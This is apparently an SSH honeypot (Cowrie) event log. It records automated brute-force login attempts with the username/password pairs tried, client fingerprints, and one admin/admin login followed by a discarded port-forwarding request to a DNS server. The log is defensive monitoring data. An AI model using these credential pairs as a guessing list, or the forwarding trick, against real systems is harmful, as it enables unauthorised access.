{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:15.926870Z","src_ip":"210.90.155.178","session":"c372b2bc6b12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:16.133335Z","src_ip":"210.90.155.178","session":"c372b2bc6b12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55w0rd","message":"login attempt [root/p@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:16.972490Z","src_ip":"210.90.155.178","session":"c372b2bc6b12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:18.177415Z","src_ip":"210.90.155.178","session":"c372b2bc6b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":54778,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee7d2cca1cd","protocol":"ssh","message":"New connection: 200.90.8.86:54778 (10.17.0.5:22) [session: aee7d2cca1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:25.879808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:25.884761Z","src_ip":"200.90.8.86","session":"aee7d2cca1cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:25.987169Z","src_ip":"200.90.8.86","session":"aee7d2cca1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test123","message":"login attempt [tester/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:26.403132Z","src_ip":"200.90.8.86","session":"aee7d2cca1cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:27.503606Z","src_ip":"200.90.8.86","session":"aee7d2cca1cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":38058,"dst_ip":"10.17.0.5","dst_port":22,"session":"efaf5e4147bc","protocol":"ssh","message":"New connection: 45.114.124.44:38058 (10.17.0.5:22) [session: efaf5e4147bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:41.644873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:41.650070Z","src_ip":"45.114.124.44","session":"efaf5e4147bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:41.868630Z","src_ip":"45.114.124.44","session":"efaf5e4147bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:42.753340Z","src_ip":"45.114.124.44","session":"efaf5e4147bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:43.969488Z","src_ip":"45.114.124.44","session":"efaf5e4147bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":42698,"dst_ip":"159.203.135.109","dst_port":22,"session":"68a5f1f4a15a","protocol":"ssh","message":"New connection: 103.148.100.146:42698 (159.203.135.109:22) [session: 68a5f1f4a15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:00:21.146164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:00:21.165533Z","src_ip":"103.148.100.146","session":"68a5f1f4a15a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:00:21.433411Z","src_ip":"103.148.100.146","session":"68a5f1f4a15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:00:22.515334Z","src_ip":"103.148.100.146","session":"68a5f1f4a15a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:00:23.794435Z","src_ip":"103.148.100.146","session":"68a5f1f4a15a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":37620,"dst_ip":"159.203.135.109","dst_port":22,"session":"1889d0e11236","protocol":"ssh","message":"New connection: 210.90.155.178:37620 (159.203.135.109:22) [session: 1889d0e11236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:00:56.145555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:00:56.151248Z","src_ip":"210.90.155.178","session":"1889d0e11236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:00:56.355999Z","src_ip":"210.90.155.178","session":"1889d0e11236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:00:57.190054Z","src_ip":"210.90.155.178","session":"1889d0e11236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:00:58.395781Z","src_ip":"210.90.155.178","session":"1889d0e11236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":41014,"dst_ip":"10.17.0.5","dst_port":22,"session":"6257a51b5420","protocol":"ssh","message":"New connection: 45.114.124.44:41014 (10.17.0.5:22) [session: 6257a51b5420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:13.963486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:13.969717Z","src_ip":"45.114.124.44","session":"6257a51b5420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:14.194621Z","src_ip":"45.114.124.44","session":"6257a51b5420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":38786,"dst_ip":"10.17.0.5","dst_port":22,"session":"81f581f97f42","protocol":"ssh","message":"New connection: 200.90.8.86:38786 (10.17.0.5:22) [session: 81f581f97f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:14.297935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:14.303037Z","src_ip":"200.90.8.86","session":"81f581f97f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:14.393653Z","src_ip":"200.90.8.86","session":"81f581f97f42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caja01","password":"123456","message":"login attempt [caja01/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:15.125647Z","src_ip":"45.114.124.44","session":"6257a51b5420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prod","password":"prod123","message":"login attempt [prod/prod123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:15.414415Z","src_ip":"200.90.8.86","session":"81f581f97f42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:16.357255Z","src_ip":"45.114.124.44","session":"6257a51b5420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:16.506419Z","src_ip":"200.90.8.86","session":"81f581f97f42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52314,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc29ddc4f569","protocol":"ssh","message":"New connection: 87.251.64.176:52314 (10.17.0.5:22) [session: cc29ddc4f569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:25.802935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:25.807435Z","src_ip":"87.251.64.176","session":"cc29ddc4f569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:25.905861Z","src_ip":"87.251.64.176","session":"cc29ddc4f569","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:26.189992Z","src_ip":"87.251.64.176","session":"cc29ddc4f569","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:26.287986Z","session":"cc29ddc4f569","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:26.385156Z","src_ip":"87.251.64.176","session":"cc29ddc4f569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:26.481564Z","src_ip":"87.251.64.176","session":"cc29ddc4f569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":55006,"dst_ip":"10.17.0.5","dst_port":22,"session":"b810ae1482f7","protocol":"ssh","message":"New connection: 5.182.83.231:55006 (10.17.0.5:22) [session: b810ae1482f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:26.673752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:01:26.678544Z","src_ip":"5.182.83.231","session":"b810ae1482f7","protocol":"ssh"}
